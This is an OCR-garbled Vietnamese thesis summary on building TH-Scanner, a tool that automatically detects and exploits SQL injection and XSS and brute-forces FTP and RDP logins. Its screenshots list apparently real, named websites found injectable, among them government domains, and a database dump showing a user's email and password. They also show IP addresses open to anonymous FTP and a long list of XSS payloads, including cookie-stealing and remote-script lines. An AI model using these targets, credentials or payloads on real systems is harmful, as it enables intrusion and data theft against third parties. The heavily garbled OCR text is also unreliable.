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MO PAU
Pit van dé:

Hi¢n nay cung voi sy phat trién nhanh chéng cua
g dung web thi van d¢ bao mat ing dung web dang 1a linh
vuc vd cing nong héi nham dam bao an toan cho tat ca
nguoi dung. Ung dung web ngay nay dan trg thanh muc tiéu
tan céng pho bién caa tin tic, cac hinh thirc tin cong cua cac
hacker cling ngay cang tinh vi va phuc tap hon. Trong cac
cudc tan cdng do, 15 hong bi khai thac nhiéu nhat 1a SQL
Injection (chiém 68% cac cudc tan cong 16 hong bao mat
web) va XSS (chiém 61%).Trén Thé gii da phat trién rat
nhiéu cong cu phat hién va khai thac 16 hong bao mat web
nhu: Acunetix, SQLMap, Havu, BurpSmte ZAP, XSSer,
Nmap ... Tuy nhién, cac phan mém thudng mat phi hoic
phién ban mién phi s& bi gi¢i han nhiéu tinh nang, khé nang
cip, bao tri. Ngoai ra, cac phan mém chi thyc hién khai thac
01 15 héng bao mat chuyén biét hoic chi chi trong phat hién
156 hong bao mat, chua tap trung phan khai thac.

Muc tiéu nghién cru:

Luan van lua chon dé tai nghién ctu “Phan tich ti
ddng cac Website dé phat hién 16 hong tiém nhiém SQL va
XSS” voi mong mudn nghién cau cach thic khai thac 15
héng bao mat website ddng thoi xay dung mét cong cu hd
tro dac lyc trong qua trinh kiém tra 16 hdng bao mat dic
biét c6 kha ning phat hién va khai thac tét 16 hdng SQL
Injection (SQLi) va XSS. Ngoai ra cong cu nay con bé sung
thém mot s tinh nang nhu kiém tra host tang mang, quét
cdng, brute force tai khoan ding nhap FTP va RDP, do quét
cac file nhay cam, duong dan login cua website... Cong cu
nay dugc xay dung tu dau nham muc dich c6 the tuy y xay
dung theo nhu cau nguoi ding, nang cp phan mém lic can
thlet ddng thoi khic phuc ‘nhiing nhuoc diém cua cac phan
mém scanner hién thoi, kiém tra 15 hong bao mat theo hinh
thuc hop den, dé dang st dung.
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Néi dung nghién ciru:

- Nghién cau nguyén ly, cach thirc hoat dong mot s6
cdng cu do quét 15 hong bao mat web hién thoi (SQL Map,
Havij, Acunetix, Burp Suite...).

- Nghién ctru phuong phéap thu thap URL, trich xuat
cau tr(c mot website.

- Nghién ctru phuong phap phat hién 16 hong bao
mat SQL.i, XSS.

- Nghién ciru phuong phéap khai thac 16 hong bao
mat SQL.i, XSS.

- Nghién ciu xir ly song song nhiéu muc tiéu ciing
luc.

- Nghién cuau phuong phap brute force tai khoan
FTP, RDP.

Bo cuc ludn vin:

Chuwong I: Tong quan vé 16 hong bio mét ing
dung web, giéi thi¢u 16 héng SQLi va XSS

Gidi thiéu tong quan v€ cdc 16 hong bao mat ung
dung web, cic hinh thic tan cong 16 hong bao mat SQLI,
XSS va cac phuong phap khai thac cua ting loai tin cong,
cach ngudi quan tri, 1ap trinh thuc hién dé tranh bi hacker
khai thac cac 15 hong bao mat trén.

Chwong II: Khio sit cac phin mém quét 16 hong
tng dung web

Gibi thiéu mot s6 phan mém ma ngudn mo, phan
mém thuong mai dung dé do quét cac 16 hong bao mat tng
dung web tot nhat hién nay.

Chwong III: Xiy dung phin mém phén tich ty
dong Website phat hién va khai thac 18 héng SQLi
va XSS

Trinh bay céach thirc xay dung cong cu tu dong phat
hién va khai thac 16 hong SQLI va XSS. Tir cac budc thuc
hién bang tay xdy dung ma ngudn ty dong thuc hién khai
thac, bypass cac truong hop cu thé dé c6 thé khai thac duoc
nhitng trang web c6 16 hong bao mat SQLi va XSS ma
nhiing phan mém hién tai khong lam dugc.
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Chuong IV: Thir nghiém va danh gia két qua

Thir nghiém cong cu va danh gia két qua hoat dong
chirc ning thu thap dir liéu, tw dong phat hién, khai thac 16
hdng bao mat SQLi va XSS; So sanh mdt cach twrong dbi véi
mot s& phan mém khac.



CHUONG |: TONG QUAN VE LO HONG BAO
MAT WEB, GIOI THIEU LO HONG SQLI VA XSS

1.1. L3 héng bao mit irng dung web

T6 chize OWASP da thong ké 10 rui ro an ninh cao
nhat la: Al-Injection, AZ2-Broken Authentication and
Session Management, A3-Cross-Site Scripting (XSS), A4-
Insecure  Direct  Object  References, Ab-Security
Misconfiguration, A6-Sensitive Data Exposure, A7-Missing
Function Level Access Control; A8-Cross-Site Request
Forgery  (CSRF);  A9-Using Known  Vulnerable
Components; A10-Unvalidated Redirects and Forwards.

1.2. L hong bao mat SQL

1.2.1. Gi6i thiéu 16 hong SQL

SQLi la mot ky thuat cho phép nhirng ké tan cong
loi dung 156 hdng trong viéc kiém tra dix liéu nhap trong cac
{rng dung web va céc thdng béo 13i cua hé quan trj CSDL dé
tiém cac ma SQL vao dit lidu dau vao trude khi chuyén cho
ng dung web xtr ly va thi hanh céc cau Iénh SQL bat hop
phap. Lbi nay thuong xay ra trén cac ung dung web cé dir
liéu dwoc quan Ii bang cac hé quan tri CSDL nhu MySQL,
SQL Server,Oracle, DB2, Sysbase. Cong cu dung dé tan
cong 1a mét trinh duyét web bt ki, chang han nhu Internet
Explorer, Netscape, Lynx, Firefox,...

1.2.2. Phwong phap Kkhai thac cac loai SQL.I

Néu phuong phap khai thac SQLi véi cac dang co
s6 dix lieu MySQL, MS SQL Server, MS Access,
PostgreSQL, Xpath SQL, Error based, Blind SQL, Bypass
Filter.



1.2.3. Phwong phap phong chéng SQLi
1.3. L hong bao mat XSS

1.3.1. Gi6i thiéu 16 hong bao mat XSS

XSS (Cross Site Scripting) 1a mot kiéu tan cong cho
phép hacker chén nhling doan script doc hai (thuong la
javascript hodc HTML) vao website va s€ dugc thuc thi
trong trinh duyét cua nguoi dung nhim danh cip nhiing
thong tin quan trong nhu Cookie, mat khau... XSS khong tan
cong vao may chu cta hé théng ma chu yéu tin cong trén
may client cua ngudi dung. Day la mot trong nhiing k¥ thuat
tan cong phd bién nhét cua cic tng dung web va ngay cang
nguy hiém.

1.3.2. Céc dang tin cong XSS

XSS duoc chia lam 3 dang chinh: Persjstent XSS,
Non-Persistent XSS, DOM-based XSS. Chi tiét cac dang
nhu sau:

1.3.3. Céch thirc phong chdng 15 hong XSS

~ CHUONG II: KHAO SAT CAC PHAN MEM
QUET LO HONG UNG DUNG WEB

2.1. Tong quan cong cu quét 16 hdng bao mit

2.1.1. Gi6i thiéu cong cu quét 16 hdng bao mat

Cong cu quét 16 hdng bao mat (scanner) 1a cong cu
phét hién, khai thac, danh gia 15 hong bao mat caa hé thong
thong tin bao gdm may tinh, hé théng mang, hé diéu hanh va
ng dung phan mém. Céc 15 hong do co thé xuat phat tir nha
cung cap, ngudi quan tri mang, ngudi dung.



2.1.2. Phwong thirc hoat dong ciia cong cu quét 16
hong bao mit

Qua trinh do quét 16 hong gom 03 giai doan: cau
hinh, crawling, scanning. Cau hinh bao gém xac dinh céc
URL cua tng dung web va céac tham s6 dau vao; Crawling
thu thap duong dan con, xac dinh ciu trdc cua trang web;
Scanning la qua trinh gia lap cac thao tac ma hacker c6 thé
lam dé tin cong ung dung web, sau d6 phan tich 16i phan
hoi. V6i mdi giai doan, mdi ¢éng cu sir dung cac phuong
phap khéac nhau do d6 két qua ciing khac nhau.

2.1.3. Phan loai

Céc cbng cu scanner dugc phan lam 02 dang chinh:
network-based va
host-based.

2.2 Gi6i thiéu mot s6 cong cu do quét 15 hdng bao
mat web

Giéi thiéu tinh nang, dic diém mot sé cong cu do
quét 16 hdng bao mat web nhu: Acunetix Web Vulnerability
Scanner, SQLMap, Burpsuite, Havij, ZAP, XSSer...

CHUONG IIl. XAY DUNG PHAN MEM PHAN
TiCH TU PONG WEBSITE, PHAT HIEN VA KHAI
THAC LO HONG BAO MAT SQLI
VA XSS
Nham khac phuc nhimg nhuoc diém va tich hop nhitng tinh
nang cua nhitng phan mém do quét 15 hong bao mat web
hién thoi, dé tai chon xay dung céng cu tam goi tén 1a TH-
Scanner.



3.1. So @0 phén ri chirc ning:

TH-Scanner

Phat hign, khai thac SQLi ‘ ‘ Phat hién, kh

Dd quét file nhay cam,

ai thic X85 ‘ dwdng dan login

Thiét ldp

Brute Force Proyy

Quét cng

|

—

D quét 1 website

Db quét nhiéu

website

Db quét nhigu URL

D quét 1 website

i

Db quét nhigu
website

Db quét nhigu URL

Brute Force
tai khoan
FTP

Brute Force
tai khoan
ROP

Hinh 1: So d6 phan ra chic nang hé thang

Phan mém TH-Scanner gdm 05 md-dun chinh: phat
hién, khai thac SQL.i; phat hién, khai thac XSS; M6-dun do
quét file nhay cam, duong din login gdm céc chirc ning sau;
quét cong; brute-force tai khoan FTP va RDP.



3.2. So d6 hoat dong

Thiét 13p proxy

Dump URL Tim file nhay cam Quét eéng

Y
Kiem fa o Kiém 2 méy Download
QL Injection payload XSS

y
Phén i I Kiém tra at ¢ payload T3 T
ineti - ¥ Brute force tai khoan Brute force tai khoan
SQL Injection URL ¢0 161 XSS Fp RDF
Y . Y
Knai that [0 Khai that lo
SQL Injection X35

Hinh 2: So d6 hoat déng hé thong

3.3. Céc thuit toan chinh:

Gidi thiéu mot sé thuat toan nhu : dum URL, phét
hién 16 héng SQLi, phét hién 16 héng XSS, khai thac 15
héng SQLI, khai thac 16 hdng XSS, quét cong, bruteforce tai
khoan FTP
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3.4. Xay dung cac mo-dun chirc néing:

3.4.1. M6-dun dump URL:

- Churc ndng: LAy tit ca cac URL con ciia mot URL
cha theo s6 cap quét dinh san, loc ra c&c URL tiém nang co
kha nang bi 16i SQLi va XSS.

) TH-Scanner (Detect vulnerability) - Single scanner

o] %

© | € 5can | # Exploit |4 Save result

Full URL htty

(1Y

Deep-level: 2 : Profile: SQLi %55 Sensitive url Login page ~

Dump url: level 2 : 8/106 ‘t‘,

Check error:

Total urls: 292 | potential urls | Result

mexpress.net/ -'
2 N
a

http:/fvnexpress.net/tin-tuc/the-gioifcuoc-song-do-day/my-to-chuc-cuoc-thi-tim-giay-hei-nhat-3562803.html
http:/fvnexpress.netftin-tuc/the-gioifcuoc-song-do-day/cuu-binh-the-chien-ii-chuyen-gioi-thanh-phu-nu-o-tuci-90-35€
http://vnexpress.net/tin-tuc/the-gioi/trieu-tien-huy-thoa-thuan-malaysia-dua-thi-the-kim-jong-nam-tro-lai-benh-vien-;
http:/fvnexpress.netftin-tuc/the-gioifhan-quoc-phat-hien-manh-xuong-o-noi-truc-vot-pha-sewol-2562151.html
http://vnexpress.net/tin-tuc/the-gioi/nu-giup-viec-bi-nghi-quy-am-gay-tranh-cai-o-singapare-356 2606.html
http:/fvnexpress.net/projects/canh-ngan-can-treo-soi-toc-noi-tuyen-lua-chong-is-2562520/index.html
http://vnexpress.net/tin-tuc/the-gioi/tu-lieu/nhung-vu-giet-nguoi-co-thong-diep-bi-an-tren-mang-3562303.html
http:/fvnexpress.netftin-tuc/the-gioiftu-lieu/nhung-vu-bat-coc-be-gai-tai-nhat-ban-3562053.html
http://vnexpress.net/tin-tuc/the-gioi/tu-lieu/vi-sao-cha-me-nhat-yen-tam-de-tre-tu-di-bo-den-truong-3561730.html
http:/fvnexpress.netftin-tuc/the-gioi/phan-tich/con-bao-nga-khuay-dao-nhiem-ky-tong-thong-trump-3562449.html
http:/fvnexpress.netftin-tuc/the-gioi/phan-tich/the-ket-cua-trump-trong-cuoc-noi-chien-dang-cong-hoa-3562010.html
http:/fvnexpress.net/ftin-tuc/the-gioi/phan-tich/so-phan-cua-trump-sau-that-bai-truoc-obamacare-356 188 1.html
http:/fvnexpress.net/tin-tuc/the-gioi/phan-tich/nhung-van-de-gai-goc-tren-ban-nghi-su-trump-tap-3561338.html
http:/fvnexpress.net/tin-tuc/the-gioi/nguoi-viet-5-chau/hung-thu-sat-hai-be-gai-viet-o-nhat-co-the-la-nguoi-dia-phuo
http:/fvnexpress.netftin-tuc/the-gioi/nguoi-viet-5-chau/thanh-nien-viet-o-nhat-nghi-tu-sat-sau-khi-dam-chet-ban-gai-
http:/fvnexpress.net/tin-tuc/the-gioifanh
http:/fvnexpress.net/photo/quan-su/nga-gan-ten-lua-phong-khong-luc-guan-len-tau-chien-3562311.html
http:/fvnexpress.net/photo/quan-su/ben-trong-tau-san-bay-truc-thang-lon-nhat-cua-nhat-356 1873.html
http:/fvnexpress.net/photo/quan-su/giay-phut-kho-vu-khi-ukraine-phat-no-khien-20-000-nguoi-so-tan-25607 34.html
http://vnexpress.net/tin-tuc/phap-luat/ke-sa-t-ha-i-nu-tai-xe-taxi-mang-thai-bi-bat-3449986.html
http:/fvnexpress.netftin-tuc/phap-luat/tu-van/ban-co-biet-cach-cho-con-thua-ke-tai-san-ma-khong-gay-ti-nanh-2561"
http://vnexpress.net/tin-tuc/phap-luat/doc-chieu-thao-dinh-vi-dat-vao-xe-khac-cua-ke-lua-thue-oto-tu-lai-3562883.ht
http:/fvnexpress.netftin-tuc/phap-luat/tu-van/nhung-dieu-can-nhe-neu-khong-muon-bi-cuop-tien-tai-cay-atm-256271
i -3tm-bi-cay-mat-hon-100-trieu-dong-3417276.html

EEIRI R RO R R R BRI R BRI R B R R R R B R R BRI R R B

Hinh 3: Giao di¢n moé-dun Dump URL
3.4.2. Md-dun phat hién 15 hong SQLi

‘ - Chirc nang: Kiém tra tit ca URL trong danh sach
tiém nang c6 16i SQLi hay khong, néu c6 thuc hién phan
loai 13i
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%) TH-Scanner (Detect vulnerability) - Single scanner = | &

© | © scan | # Exploit | k) Save result

Full URL http://

iw.icdcprague.orgfindex.php?id=10 »’ ]

Deep-level: 2 : Profile: [¥] 5QLi [V] XS5 [V] Sensitive url [¥] Login page ‘

Dump url: level 2 ; 11/14 *‘r«

Check error: http://www.icdcprague.orgfindex.php?id=61id_gallery=20

Total urls: 82 | Potential urls (7)‘ Result |
=3 SQLi urls (2)
- http://www.icdcprague.org/index.php?id=10 MySQL
‘- http://www.icdcprague.org/index_es.php?id=10 MySQL
(- XSS urls (2)
- Sensitive url
- Login page

Hinh 4: Giao dién md-dun phdat hién 16 héng SQLi
3.4.3. Md-dun khai thac 16 hong SQLI

’ -Chtre nang: Phén loai 16i SQLI, xac dinh Database;
Lay tén CSDL; Lay tén tat ca cac bang trong CSDL; Lay tén
tat ca cac cot trong mot bang; Lay toan bd théng tin caa mot
bang.

12



‘(& Auto exploit |« Analyse |2 Get DBs [ Gettables T)Get columns =-Get data | [} Save data | 1

I URL:  http://www.smelisting.net/corner_category.php?id=7

Processing log

Find databases
1: information_schema
2: smelistingdb

Find tables of database: smelistingdb n
15 tables: ask, category, cipo, downloads, inmedia, ipo, keorner, listing_company, news,
photos, rreport, scap, src, users, wats_new

Find columns of table: smelistingdb.users
5 columns: id, name, email, password, approval

Pemail Get data of table: smelistingdb.users
-[V|password
1/1 rows
approval
-Cwats_new = E
name email password approval

list@co |sme@#123

Hinh 5: Giao dién md-dun khai thdc 16 hong SQLI
3.4.4. M6-dun phat hi¢n 156 hong XSS

- Chirc nang: Kiém tra tat ca URL c6 18i XSS hay
khong.
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4) TH-Scanner (Detect vulnerability) =N

© € scan | # Exploit

wWw.resene.co.nz dw

Full URL http:

Deep-level: 2 Vulnerability type: |Cross-site Scripting (X55) _‘
Dump url: level 2 : 33/326 t"«
Check error:

[ Total urls: 1204 | Potential urls (21)] Error urls (12) |
http://www.resene.co.nz/samples/select-chart.php?productType=1%253cscript%253ealert(1)%253¢/script%253e @ X -
http://www.resene.co.nz/comn/colorshops/colorshops.php?i=au,nc%253cscript%253ealert(1)%253¢/script%253e ; X<
http://www.resene.co.nz/swatches/search.php?chart=Resene+Curtain+Collection&type=name&submit=Colour+searcl
http://www.resene.co.nz/mailto:update@resene.co.nz?Subject=Feedback&lt; SCRIPT&gt; alert{'¥55");&lt; /SCRIPT&gt; :
http:/fwww.resene.co.nz/samples/products.php?product=0&chart=0&productType=8%253cscript%253ealert(1)% 253
http://www.resene.co.nz/mailto:colexpert@resene.co.nz?subject=Askalt; SCRIPT&gt; alert(%SS"); &lt; /SCRIPT&gL; @ XS5
http://www.resene.co.nz/mailto: advice@resene.com.au?subject=Resene&lt; SCRIPTAgt; alert('XSS") &lt; /SCRIPTAqt; : »
http://www.resene.co.nz/swatches/search.php?colour_code=-&submit=List+colours&type=code&page=&colour_code_
http://www.resene.co.nz/poll/index.php?results=favourite_colour_2016&lt;SCRIPT&gt; alert('XSS"); &lt; /SCRIPTAQL; : X
http://www.resene.co.nz/mailto: advice@resene.co.nz?subject=Resene&lt; SCRIPT&gt; alert("X55"); &lt; /SCRIPT&gt; : XS
http://www.resene.co.nz/mailto:update@resene.co.nz?subject=Bulk¥20colour¥: 20chart%20order%:20from% 20websi
http://www.resene.co.nz/swatches/preview.php?chart=Resena%20The%20Range% 20whites%20%26%20neutrals%

Hinh 6: Giao dién mé-dun phat hién 16 hong XSS

3.4.5. M6-dun khai thac 16 hong XSS

- Chirc nang: Kiém tra tat ca payload XSS ma URL
c6 16i, thuc hién khai thac 16 hong XSS vai tirng payload.
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13) TH-Scanner (Explit 455 wlrab

el

URL: hitip: nz/Colour-Experts/searth_results.

Payload list [433)

Cheds llpayloads

csriptalert(123); <fsaipt>

<ScRipT>alert{"¥55);</ScRipT>

cseript>alert(123)</script>

<seript>alert("hellox worldss ); </script>

<sript>alert{§XS5e) </suript>

csriptalert(gX55¢); </saript>

cseript>alert[§¥S54) </saipt

><saiptalert| §XSSe)</sipt>

<seript>alert(/XSS4)</seript>

<script>alert(/¥S5/)</seript>

<Jscript> <sorptalert{1)</script

#; dert(1);

#)alert(1);//

SPtalert]1)</sCriPt>

IMG SRC=jAVasCriPt:lert{ §X55¢]>

<IMG SRC=gjavasaipt:alert{XS54); 6>

<IMG SRC=javasuript:alert{&quotXSS&quot;)>

<IMG SRC=Javasuript:alert §X554)>

<imq sre=xss onemmor=adlert{1)>

iame %00 sic="8abjavascrptprompi{1)8Tzb; %00>
1>

"javaSCRIPT&Colon;cor
<V <sifipt %ﬂﬂ>alert&ba 1hapar; {Opera}
<imgjsrc="%00" oneror=this.onerar=confm{1)
<form: <isindex formaction="javascriptacolon;: mnﬁm\(l‘
<img src="2%00° GewLine; anemor=alert{1}aNewLine;
cseript/aTab; src="itps:/fdl.dropbax.comfu/13013038/js js' /&Tab;> </script>
<ScRipT 5-03+93=>prompt{1)</ScAipT giveanswerhere=?
cirame/sic=" b; PGl THkgh25sb:
<scipt /*5600°)>/*3600% 2lert{1) 5600/ </scipt /*%00%/
£:234;8262; <h1fonmouseaver="w0061 >%00
cirame/s ctext/himl, csvg &2111;82110;load=alert(1)>">
<cmeta content="8ewLine; 1 ShiewLin ,,JAVASEK]]TI'Bm\nn alet{1)" hitp-equiv

<5Wg><sCript: ; window.open( htip: le.comy)></
<shg><sCript X tips: /dL. dronbox[mmamsusﬂm s {0pera)

ameta hitp-equiv="refresh” content="0;urt=javascript-confim(1]">

<drame doc ;

formz<a href= Ja'.‘asmut W06 1lerth£328; 18229, >X
QstnDquq E00/sr
10;

8;18:2x29;"/%00%/0

182
Line; PHNjah

cmgsrc=pA£32,8213; onerror = pmmpﬁ& 407

§9555896554555855595558d¢64¢

240;18241;

Jwww resene.co.nz/Colour-Experts/searth_results.php?seardText=1 {
Jwww.resene.co.nz/Colour-Experts/search_results php?seardText=1¢]alert{1);//
www.resene.co.nz/Colour-Experts/search_results, pt’p“seard’lTExtl'anJBESmPt"ﬂﬁiiea\em 1)%253Qsmptﬂa253e
[www_resene.co.nz/Colour-Experts/search_resuts pho?searthTest=14scriptuale

I resene.co.nz/Calour-Experts/search_resulks ghpsearchText=18k SCRIPTRgE alert KSS &l /SCRIPTE g
Jururv resens co.nz/Calour Bxperts search_resuls phoPsearchText= 161 HTMLAgt & B0DYagt,

Jwww.resene.co.nz/ Colour-Experts/search_results.php?searchext=leval(a+bsctd);
[www_resene.co.nz/Colour-Experts/search_resuits. php?searchTet=18k;/BODYAE 84 HTMLAGE,
[www_resene.co.nz/Colour-Experts/search_resuts pho?seartheit=1%3C

Jwww._resene co.nz/Colour-Experts/search_results php?seardhText=181
Jvwvm.resene.co.nz/Calour-Experts|search_resuks.php?searchText=18l;
Jwww.resene.co.nz/Colour-Experts/search_results.php?searchText=18T
[www_resene.co.nz/Colour-Experts/search_results pho?searthText=18k;

Jwww resene.co.nz/Colour-Experts/searth_results php?seardiText=181T;
Jwww.resene.co.nz/Colour-Experts/search_results. php?searchText=181;
www.resene.co.nz/Colour-Experts/search_results.php?searchText=1\u003c
[www_resene.co.nz/Colour-Experts/search_results pho?searthTest=111003C
[www.resene.co.nz/Colour-Experts/search_resuls. php?searthText=14aC

Jwww_resene co.nz/Colour-Experts/search_results.php?searchText=14cc
www.resene.co.nz/Colour-Experts/search_results.php?searchText=1¢scriptialert{§X554) 4/saipt
[www_resene.co.nz/Colour-Experts/search_resuts pho?searthTest=1+ACIAPgAS-soript+AD4-alert{document location)
[www_resene.co.nz/Colour-Experts/search_resuts pho?searthText=1%28ACIAPOAB-ScTipt % 2BAD4-3lert% 28doumer
Jwww resene.ro.nz/Colour-Experts/searth_results php?seardhiText=1%253cscriptt%253ealert{domument. cookie) %257
www.resene.co.nz/Colour-Experts/search_results.php?searchText=1+ADw-saript+AD4-alert{document.Jocation}+ADw
[www.resene.co.nz/Calour-Experts/search_results.php?searchTest=1%2BADw-script+AD4-alert(document. location)%
[www.resens.o.nz/Colour-Experts/search_resuts php?searchText=14; alert{document.cockie]; var foo=¢

Jwww. resene co.nz/Colour-Experts/search_results php?searchText=1foo\@; alert{document cookie):f/;

Hinh 7: Giao dién mé-dun khai thac 16 hong XSS

3.4.6. M6-dun do quét 16 hong nhiéu website

Chirc nang: Thyc hién dong thoi viéc dumpURL,
do quét 16 hong va thuc hién khai thac véi nhidu website
cuing mot lic. Cac 16 hong mo-dun thuc hién do quét bao
gom: SQLi; XSS; Tim céc file nhay cam; Tim duong dan

login.
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(T Scomner (Mol san winerabiity) - Ml scamner
| Add one target () Add mulitargets  # Exploit | &) Save result

Idex  Statns  Deeplevel SQLi XSS Semnsiivewl Loompase Rmat  Tarset Resuk
1 QRmg| 2 B F F [ £ bty v odsplue e v huvien fullzeimage asp7ID=163

) Qhme| 2 T ¥ E ¥ e

; QRog| 2 F T F 7 = b edeprague g

: Qhm| 2 T ¥ E ¥ 15 b v g v

3 Gﬁ 2 g E i [ 1 betpiwww clec org kb

HEIENI [ = by cavdlon

T Qs 2 g ¥ F o i3 g imagesystems. commt

3 Q) Sat 1 g ¥ F z = by mghtealery ca

e soLiuris 2 |

 hittp:/fwww.cdsphue.edu.vn/thuvien/fullsizeimage.asp?ID=163 MS SQL Server
- hitp:/fwww.cdsphue.eduvn/7ing=en MS SQL Server

E XSS (1)
“ hittp:/fwww.cdsphue.edu.vn/Ping=en<script-alert{ 123); </script> : ¥55

~ Sensitive url

~ Login page

Hinh 8: Giao dién mé-dun do quét 16 hong nhiéu
website

3.4.7. M6-dun do quét 16 héng nhiéu URL

o - Chtrc nang: Thuc hiqén déng thoi viéc do quét 16
hong, thuc hién khai thac 16 hong nhiéu URL QUng mot luc.
Cac 16 hong mé-dun thuc hién do quét bao gom: SQLi va
XSS
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gTH-Scanner (Detect vulnerability) -

| 4 Importurls ¥ Clearurls & Scan ﬁExp\mt B Save error urls

Profile: V] 5QU [ XS5

Patential uris (23) | Result

[=-SQLi urls (27) -
& http://www.tisi.go.th/view-news.phpid=1610 MySQL I

- hittp:/fwww.smelisting.net/corner_category.php?id=5 MySQL

- hittp:/fwww.huayduan.go.th/index.php?options=photo&mode=detail&id=547 MySQL

- https:/fwww.orillia.com/index.php?id=23 MySQL

- http:/fwww.icdcprague.orgfindex.php?id=10 MySQL

- hittp:/fwww.cvea.org.kh/km/excusive/excusive html?layout=exclusivedpage=-1 MySQL

- hittp:/fe-civil.rta.mi.th/calendar/view.php?view =month&course=1&cal_d=1&cal_m=12&cal_y=1901 MySQL

- http:/fwww.cavallo.vn/productdetail.php?id=99 MySQL

- hittp:/fwww.mimupc.gov.kh/?page=detail&menu1=2158&menu2=454&ctype=articledid=9 MySQL

- http:/fwww.clec.org.kh/proact.php?actiD=62&pID=1 MySQL

- http:/fwww.cvea.org.kh/km/exclusive/excusive.html?layout=exclusive MySQL |

- http:/fwww.clec.org.kh/proact php?actiD=62 MySQL

- htp:/fwww.sedimental.com/catalog/index.php?ID=67 MySQL

- hittp:/fwww.mimupc.gov.kh/?page=detail&menu1=215&menu2=454&ctype=article MySQL

- hitp:/frefer.Iph.go.th/webboard/view_webboard.asp?1D=53131&pagesize=800 MySQL

- hittp:/fwww.ssr.go.th/sh_picactivity.php?pa_id=2 MySQL

| - hitp:/frefer.Iph.go.th/webboard/view_webboard.asp?ID=5151 MySQL J |

____‘_______‘_‘_‘_‘_‘___‘_
m

- http:/fwww.mimupc.gov.kh/?page=detail&menu1=215&menu2=454 MySQL
fwww.yalapao.go.th/main/subindex.php?page=sub&category=13 MySQL
fwww.mimupc.gov.kh/?page=detail&menu1=215 MySQL

- http:/fwww.acfs.go.th/read_news.php?id=8642-&ntype=09 MySQL

- http:/fkmeenter.rid.go.th/kclaw/index1.php?page=gallerytemp 1&tx_pallery_id=55 My5QL
- hittp:/fweb.rid.go.th/law/index.php?page=gallerytemp&tx_gallery_id=35 MySQL

- httne e ravalla wndnradictdatail nhnZid=115 MGl

=

- http:
- hitp:

JEacH O

Hinh 9: Giao dién md-dun do quét 16 hong nhiéu
URL
3.4.8. M0-dun phat hién file nhay cam

- Chue nang: Do tim cac file nhay cam, co6 gia tri
quan trong nhung do 16i cau hinh nguoi quan tri so ho de 19.
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#) TH-Scanner {Detect vulnerability) - Single scanner

€ Scan % Exploit [ Save result

Full URL http://www.mlmupc.gov.kh/
Deep-level; 2 = Profile: 5QLi XSS Sensitive url Login page

Dump url: Finished

Check errar:

\Total urls: 409 | Potential urls {26)\ Result |

- SQLi urls (16)
E- XSS urls (25)
- Sensitive url (1)

“ http://www.mimupc.gov.kh/backup
- Login pages (4)
hittp://www.mimupc.gov.kh/administrator/index.php
http://www.mlmupc.gov.kh/administrator/login.php
http://www.mlmupc.gov.kh/administrator/login.asp
http://www.mlimupc.gov.kh/administrator/loginadmin.php

Hinh 10: Giao dién mé-dun phat hién file nhay cam

3.4.9. M6-dun quét cong
- Chtrc nang: Tim tat ca cong mo cua mot server.

- ~
@ Scan port [E=mEe )
1P address: 192.168.10.20
From port: 1 = to: |S000 — Common porkts
Threads (1): [}
Ml Ppore 20 (htep) is open |
Port 135 (rpc) is open
Port 139 (netbios) is open
Port 443 (ssl) is open
Port 445 (smn) is open
| —————— 1
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Hinh 11: Giao dién mé-dun quét cong

3.4.10. M0O-dun brute force tai khoan dang nhap
dich vu FTP

- Chue nang: Doan tai khoan dang nhap dich vu
FTP cta danh sach IP cac server st dung tir dién céc
username va password thuong sir dung.

<} FTP Brute-forg ="

Add accounts Remove accounts Add IPs Remove IPs

FTPF accounts IPs

anonymous ; anonymaous

admin ; admin

admin ; adminl123 207.7.92.157 -

admin ; P@ssword 206.188.193.190 (a

administrator ; admin 206.188.192.78 .

administrator ; admin123 212.203.67.56

administrator ; administrator 210.245.85.38

administrator ; P@sswOrd 210.5.72.147
210.5.72.164
210.5.72.144
210.5.72.142
210.5.72.140
210.5.72.139 2

Check successul:

210.245.85.38; anonymous ; anonymaous
203.146.251.202; anonymous ; anonymous
210.5.72.140; anonymaous ; anonymous
203.156.18.130; anonymous ; anonymous
208.69,.120.58; anonymous ; anonymous

[ Scanning ] [ Save result

Hinh 12: Giao dién mé-dun brute force FTP
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3.4.11. M0-dun brute force tai khoian dang nhap
dich vu RDP

- Chtrc nang: Poan tai khoan dang nhap dich vu

RDP cua danh sach IP cac server sir dung tir dién céc
username va password thuong sir dung.

—— : & mi = —
i) RDP brute-horee L
Add accounts  Remove accounts  Add [Ps  Remove IPs
ROP accounts IPs .Clllg!tllrlr;;_lﬂl..].6.3...10..I.D_'.yllth_l'_é{.’fll"rf'..lr,ltm: Loudlel”
. yy | B B or Fiory feoma] < [
admin ; admnl3 fc . Gh X b
adin ; P8ssvOnd 1921681020 SJCET G o T
administratar ; admin . _
administratar ; admin123 id ' » =
5 + administrator
: Pleswind
Admirstrator -, B
{:f\ F‘IIJ’\ CANANAA
{ 1]
r
Chick suctessul:
192.168.10.20; Admnwstrator ; “ - 1 Tl . 1
[d
wji
n
[ [
Scan Save result
= g [ oo 243
k= = U @ 0 ﬁ![ PEEG

Hinh 13: Giao dién mé-dun brute force RDP

3.4.12. Md-dun thiét 1ap Proxy

7 - Chirc nang: Thiét l1ap Proxy, sir dung UltraSurf,
kiém tra két noi.
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IP address: 127.0.0.1

Port: 9666 Ultrasurf

Hinh 14: Giao dién mé-dun thiét ldp Proxy

3.4.13. M0-dun 13p lich

- Chuc nang: Lap lich chuong trinh tu dong quét
URL, phat hién va khai thac 15 hong, sau d6 luu két qua vao
file text tranh tinh trang thuc hién do quét 16 hdng mot muc
tiéu nhiéu lan. Sir dung control timer, 30s s& kiém tra mot
1an nhitng myc tiéu nao cé lap lich va thai gian lap lich bang
thoi gian hién tai thi chuong trinh ty dong kich hoat chuc
nang do quét 16 hong.
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) TH-Scanner (Multscan winerabifty) - Mult scanner

) Add one target ) Add mutitargets 4 Explot | Save resul

Index  Stams Deeplevel SQLi XSS Senstivew! Losipaze Rwnat  Taret Resut
! 0 1 [ ity cdsphue edu v fhmen fullzemage asp =163

1 0 1 13 g smelising et

3 0 1 ‘ﬂlﬁ o cdeprague org

¢ Qw0 o ok

; 0 ) 19 Add gt

§ 0 1 || Target: !

1 0 1 http:fwww icdcprague.org

P Qe WRnaE 00T G

Hinh 15: Giao dién mé-dun ldp lich

CHUONG IV. THU NGHIEM VA PANH GIA
KET QUA

4.1. Thir nghiém cong cu TH_Scanner

4.1.1. Thir nghiém phat hién va khai thac 13 hong
SQLi

Cong cu cd thé phat hién va khai thac 16 hdng SQLI
vGi cac dang SQLi voi CSDL MySQL, SQL Server, Error
Based, Blind SQL. Thuc hién bypass viéc loc cac ky tu,
